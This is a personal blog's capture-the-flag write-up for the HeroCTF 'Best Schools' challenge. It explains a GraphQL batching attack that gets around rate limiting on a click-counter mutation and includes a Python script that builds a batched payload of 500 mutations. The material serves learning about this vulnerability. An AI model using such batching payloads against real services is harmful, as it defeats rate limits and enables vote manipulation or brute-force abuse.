Siunam's Website

My personal website

Home About Blog Writeups Projects E-Portfolio

Best Schools

Table of Contents

  1. Overview
  2. Background
  3. Enumeration
  4. Exploitation
  5. Conclusion

Overview

Background

An anonymous company has decided to publish a ranking of the best schools, and it is based on the number of clicks on a button! Make sure you get the ‘Flag CyberSecurity School’ in first place and you’ll get your reward!

Deploy on deploy.heroctf.fr

Format : Hero{flag}
Author : Worty

Enumeration

Home page:

In here, we can add 1 to the number of clicks in each school, and get the flag.

We can try to click the “Get The Flag!” button:

When we clicked that, it returns “‘Flag CyberSecurity School’ is not the best, no flag for you”.

With that said, our goal should be getting more than 1337 number of clicks in “Flag CyberSecurity School”.

Now, if we proxy through our requests, we can see the following GraphQL queries:

View source page:

[...]
            <div class="col text-center">
                <p class="lead">Welcome on the school ranking app !</p>
                <p class="lead">It's very simple, just click on "i'm at this school" and the ranking will be updated !</p>
                <div id="ranking"></div>
                <input type="button" class="btn btn-primary" onclick="getFlag()" value="Get The Flag !"></input>
            </div>
[...]
    <script>
    [...]
    function getFlag()
        {
            fetch("/flag", {
                method: "GET",
                headers:{
                        "Content-Type": "application/json",
                        "Accept": "application/json"
                }
            }).then(r => r.json())
            .then(
                function(data)
                {
                    alert(data.data)
                }
            )
        }
    [...]
    </script>

When we click the “Get The Flag!” button, it’ll send a GET request to /flag, and it’ll response us with some data, which is the output of checking the highest number of clicks?

Then, when the window is loaded:

    <script>
        var schoolNames = ["Cyber Super School","University Of Cybersecurity","Flag CyberSecurity School","The Best Best CyberSecurity School"]
        function updateHtml(res_graphql)
        {
            $("#ranking").empty();
            var best_school = res_graphql[0].data.getNbClickSchool.schoolName;
            var maxNbClick = res_graphql[0].data.getNbClickSchool.nbClick
            var html_append = `
                <table class="table">
                    <thead class="thead-dark">
                    <tr>
                    <th scope="col">#</th>
                    <th scope="col">School Name</th>
                    <th scope="col">Number of clicks</th>
                    <th scope="col">Action</th>
                    </tr>
                    </thead>
                    <tbody>
            `;
            for(var i=0; i<res_graphql.length; i++)
            {
                if(maxNbClick < res_graphql[i].data.getNbClickSchool.nbClick)
                {
                    best_school = res_graphql[i].data.getNbClickSchool.schoolName;
                    maxNbClick = res_graphql[i].data.getNbClickSchool.nbClick;
                }
                html_append+=`<tr><th scope="row">${res_graphql[i].data.getNbClickSchool.schoolId}</th><td>${res_graphql[i].data.getNbClickSchool.schoolName}</td><td id="click${res_graphql[i].data.getNbClickSchool.schoolId}">${res_graphql[i].data.getNbClickSchool.nbClick}</td><td><input type="button" onclick="updateNbClick('${res_graphql[i].data.getNbClickSchool.schoolName}')" class="btn btn-warning" value="I'm at this school"></input></td>`;
            }
            html_append+="</tbody></table>";
            html_append+=`<p class='lead'>The best school for cybersecurity is : ${best_school} with ${maxNbClick} clicks ! Congratulations !</p>`
            $("#ranking").append(html_append)
        }
        [...]
        $(document).ready(async function(){
            var res_graphql = [];
            for(var i=0; i<schoolNames.length; i++)
            {
                var res = await fetch("/graphql", {
                    method: "POST",
                    headers:{
                        "Content-Type": "application/json",
                        "Accept": "application/json"
                    },
                    body: JSON.stringify({query: `{getNbClickSchool(schoolName: "${schoolNames[i]}" ){schoolId, schoolName, nbClick}}`})
                })
                .then(r => r.json())
                .then(
                    function(data)
                    {
                        res_graphql.push(data)
                    }
                )
            }
            updateHtml(res_graphql)
        });
    </script>

It’ll loop through all the schoolNames and get the number of clicks via GraphQL getNbClickSchool query, then update the HTML content.

Next, when we clicked “I’m at this school” button, it’ll run the following JavaScript function:

function updateNbClick(schoolName)
{
    var updated_school = [];
    fetch("/graphql", {
        method: "POST",
        headers:{
                "Content-Type": "application/json",
                "Accept": "application/json"
            },
            body: JSON.stringify({query: `mutation { increaseClickSchool(schoolName: "${schoolName}"){schoolId, nbClick} }`})
    }).then(r => r.json())
    .then(
        function(data)
        {
            if(data.error != undefined)
            {
                alert(data.error)
            }
            document.getElementById(`click${data.data.increaseClickSchool.schoolId}`).innerHTML = data.data.increaseClickSchool.nbClick
        }
    )
}

This will send a POST request to /graphql endpoint and using the increaseClickSchool mutation query to update the number of clicks.

Now, we can we do to update the number of clicks in “Flag CyberSecurity School” more than 1337??

Since mutation query is used to make changes in the server-side, we could pay extra attention on the increaseClickSchool mutation query.

When we send the query too fast, it’ll returns the following response:

Exploitation

That being said, it has implemented rate limiting.

Hmm that’s weird!!

Can we bypass that??

Yes we can, and it’s an attack in GraphQL: GraphQL Batching Attack

In Paulo A. Silva blog, we could send multiple queries:

Let’s try that!

Oh!! it works!!

Now, let’s copy those mutation query more than 1337 times, and we should able to get the flag!

Generating payload Python script:

#!/usr/bin/env python3

if __name__ == '__main__':
    batchingPayload = '''{"query":"mutation { increaseClickSchool(schoolName: \\"Flag CyberSecurity School\\"){schoolId, nbClick} }"},'''
    lastBatchingPayload = '''{"query":"mutation { increaseClickSchool(schoolName: \\"Flag CyberSecurity School\\"){schoolId, nbClick} }"}'''
    print(f'[{batchingPayload * 499}{lastBatchingPayload}]')

We’re very close!

Nice! Let’s get the flag!

Conclusion

What we’ve learned:

  1. Exploiting GraphQL Batching Attack